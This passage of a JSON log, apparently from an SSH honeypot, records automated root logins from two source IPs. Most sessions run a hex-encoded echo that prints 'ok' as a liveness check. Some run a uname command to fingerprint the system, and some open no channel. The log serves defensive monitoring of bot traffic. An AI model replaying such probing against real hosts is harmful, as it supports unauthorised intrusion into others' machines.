  "started_at": "2026-08-23T08:34:59.198041+00:00",
  "ended_at": "2026-08-23T08:35:00.741549+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "62bfc2b1-336f-4662-98b9-58c5d0f451c0",
  "name": "spirited-serene-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:56.536924+00:00",
  "ended_at": "2026-08-23T08:34:58.399494+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "20d5b937-c5fb-46c8-a068-29b64f9b820f",
  "name": "nautical-slender-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38528,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:54.353847+00:00",
  "ended_at": "2026-08-23T08:34:55.713106+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b5e0cfc8-8be4-4b1e-b667-c2b7ee58f1b3",
  "name": "sunlit-whispering-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:52.409865+00:00",
  "ended_at": "2026-08-23T08:34:53.587874+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb4c2db9-c4cf-4863-997c-070ab3db25d1",
  "name": "grumpy-kindly-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:49.984173+00:00",
  "ended_at": "2026-08-23T08:34:51.758769+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c1511d86-1a41-4fce-a011-c08395a6655d",
  "name": "subtle-murky-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:47.917947+00:00",
  "ended_at": "2026-08-23T08:34:49.319702+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "929e14f1-7bf5-492d-b399-d960bcfd0471",
  "name": "icy-deft-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:45.034899+00:00",
  "ended_at": "2026-08-23T08:34:47.259008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fa7b8893-c8e1-40bd-9a3f-2385f195034f",
  "name": "cunning-blazing-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55854,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:42.525626+00:00",
  "ended_at": "2026-08-23T08:34:44.207351+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "039d8b9c-3d22-4816-a83d-e437892e08af",
  "name": "honest-lanky-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55838,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:39.982261+00:00",
  "ended_at": "2026-08-23T08:34:41.789059+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "768327f1-7d20-4d6d-b746-99d60042f015",
  "name": "courtly-stoic-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57750,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:37.709697+00:00",
  "ended_at": "2026-08-23T08:34:39.247542+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "da66b6d3-7577-44f8-80fd-cf4c07d7b163",
  "name": "rapid-ivory-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57734,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:34.668532+00:00",
  "ended_at": "2026-08-23T08:34:36.859425+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "80aee76b-47ff-4fb3-966c-6f27da3e86d8",
  "name": "hazel-drifting-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57722,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:32.501675+00:00",
  "ended_at": "2026-08-23T08:34:33.951691+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bb849461-8469-4c48-b027-4f6f34f1f0c1",
  "name": "bitter-muted-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57712,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:29.707406+00:00",
  "ended_at": "2026-08-23T08:34:31.732905+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d09171f6-5fc5-4fa9-9310-ebbedf6ee91e",
  "name": "valiant-meadow-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:27.588209+00:00",
  "ended_at": "2026-08-23T08:34:28.955582+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07dfd192-9633-4b13-978f-02c7a3563bd7",
  "name": "spirited-ashen-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53760,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 171,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:34:26.966132+00:00",
  "ended_at": "2026-08-23T08:34:28.182904+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b87af093-b0e6-4d88-94c8-42893e9ae62c",
  "name": "burly-dusty-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36120,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:25.928065+00:00",
  "ended_at": "2026-08-23T08:34:26.860938+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f4201d1c-23cb-4ca4-a805-a3f6b41efe23",
  "name": "wry-sandy-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36108,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:24.199715+00:00",
  "ended_at": "2026-08-23T08:34:25.260408+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4ab1b869-8d5a-43c8-bdbb-923108625158",
  "name": "solemn-wistful-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:22.226949+00:00",
  "ended_at": "2026-08-23T08:34:23.435774+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d21a7e14-c007-4345-b88b-f1cf6c91f0b2",
  "name": "nautical-indigo-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36084,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:20.270655+00:00",
  "ended_at": "2026-08-23T08:34:21.551522+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca5d7f59-30d9-4037-aab1-9dd942e3e378",
  "name": "mighty-honest-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.29.129",
  "src_port": 36076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:34:18.653655+00:00",
  "ended_at": "2026-08-23T08:34:19.564359+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c9d16ce-7454-4130-9698-c4b051dc2c38",
  "name": "snowy-ivory-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:16.286508+00:00",
  "ended_at": "2026-08-23T08:34:18.344316+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f0e35d60-9a53-42ce-82af-faff965ff9c6",
  "name": "icy-fabled-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52860,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:14.722279+00:00",
  "ended_at": "2026-08-23T08:34:15.663038+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c1049bbe-e9c6-444f-a491-e5b9440497b4",
  "name": "bitter-painted-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52848,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:12.938891+00:00",
  "ended_at": "2026-08-23T08:34:14.010574+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d5177835-d0e7-4265-882a-ae0cad6c3d8f",
  "name": "salty-feral-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52832,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:10.769086+00:00",
  "ended_at": "2026-08-23T08:34:12.258997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0999a776-b4da-4fa4-88ec-ea4bac2a9cd5",
  "name": "hazel-steady-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 53774,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:34:09.400380+00:00",
  "ended_at": "2026-08-23T08:34:10.841266+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c97864f4-2801-4aa9-aa71-c353c3379d19",
  "name": "alpine-golden-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33092,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:07.895148+00:00",
  "ended_at": "2026-08-23T08:34:10.010420+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9a3eefdc-f9fd-433f-b6aa-c0965a52a366",
  "name": "gritty-austere-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53822,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 176,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:34:07.396042+00:00",
  "ended_at": "2026-08-23T08:34:10.842013+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "72017cd6-ef2f-4267-914e-67e0c874f4e8",
  "name": "supple-brave-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33088,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:05.073795+00:00",
  "ended_at": "2026-08-23T08:34:07.227876+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "59fc099b-da37-469e-a0c6-373f99794cd4",
  "name": "thorny-sooty-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:03.270100+00:00",
  "ended_at": "2026-08-23T08:34:04.344623+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3c258532-80e1-4650-8d6e-62a5374285dc",
  "name": "cosmic-meadow-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33072,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:34:01.516180+00:00",
  "ended_at": "2026-08-23T08:34:02.522793+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c75a1868-2f11-44eb-9e72-c4139a9a8b63",
  "name": "lively-honest-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:59.733689+00:00",
  "ended_at": "2026-08-23T08:34:00.821360+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ad28d1a6-3189-4a2b-9a76-2fbfe95acfa2",
  "name": "marbled-stormy-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44028,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:57.217323+00:00",
  "ended_at": "2026-08-23T08:33:59.018651+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "12a3f4b3-450d-4c96-90c0-a5cd60bf11fa",
  "name": "craggy-jovial-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44024,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:54.316835+00:00",
  "ended_at": "2026-08-23T08:33:56.418100+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc14b85c-cc18-43f7-9acb-3fc3330a541e",
  "name": "fleeting-shaded-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44010,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:51.568105+00:00",
  "ended_at": "2026-08-23T08:33:53.683617+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c2c287c-15ec-4716-9118-69fcc2648442",
  "name": "dusky-watchful-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:48.762825+00:00",
  "ended_at": "2026-08-23T08:33:50.927841+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "740ab241-c61f-4e8d-89f1-873d25707e7d",
  "name": "stoic-balmy-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:46.991326+00:00",
  "ended_at": "2026-08-23T08:33:48.051184+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a75d744-74b1-4a7e-8af8-e0abc05bc1cd",
  "name": "golden-forlorn-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:44.515221+00:00",
  "ended_at": "2026-08-23T08:33:46.177110+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fead1a4d-dd6b-4296-9f84-973940ea25cb",
  "name": "seaward-hardy-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53916,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:42.666101+00:00",
  "ended_at": "2026-08-23T08:33:43.729933+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ab6c2953-e8fc-4922-ae27-75c288cbaf0e",
  "name": "twilight-blazing-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:40.379424+00:00",
  "ended_at": "2026-08-23T08:33:41.875049+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2bf0ba79-f6ee-454e-bc04-58e91ab5a23d",
  "name": "muted-ginger-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42914,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:37.773522+00:00",
  "ended_at": "2026-08-23T08:33:39.672440+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "89d0da31-2873-4964-ad8e-386cb217f8de",
  "name": "loyal-lunar-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:35.481903+00:00",
  "ended_at": "2026-08-23T08:33:36.990170+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c2827aca-c9fd-4cde-9887-7c47cd6f1b28",
  "name": "brisk-grumpy-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:29.285423+00:00",
  "ended_at": "2026-08-23T08:33:34.758501+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "636e49cb-2870-4cc0-9d25-611fa83148b3",
  "name": "gentle-wry-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:27.322090+00:00",
  "ended_at": "2026-08-23T08:33:28.543841+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7427e3fd-db89-4083-b6e2-71d9c9bd7022",
  "name": "twilight-lively-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:25.582069+00:00",
  "ended_at": "2026-08-23T08:33:26.539965+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cf16b3b5-b866-435c-a26d-f3a0d759d43a",
  "name": "blazing-ginger-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48302,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:23.350086+00:00",
  "ended_at": "2026-08-23T08:33:24.745422+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e99bfc87-41e3-4283-b807-d3c99a8089bd",
  "name": "nimble-cosmic-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48294,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:20.722881+00:00",
  "ended_at": "2026-08-23T08:33:22.682220+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cc60b478-0ae1-41c0-8dcc-5afe8c4d29d1",
  "name": "calm-earnest-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:33:20.564161+00:00",
  "ended_at": "2026-08-23T08:33:22.127727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ce9ac18-c739-478f-a099-b891ee13af4e",
  "name": "vernal-muted-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59718,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:18.456651+00:00",
  "ended_at": "2026-08-23T08:33:19.957613+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ff065abc-022d-42d4-92ee-3eff08812a61",
  "name": "rustic-burly-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59712,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:16.307704+00:00",
  "ended_at": "2026-08-23T08:33:17.802071+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "907ed450-e8d3-4679-8ade-09b697ecf105",
  "name": "feathered-inland-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59696,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:13.818236+00:00",
  "ended_at": "2026-08-23T08:33:15.658626+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
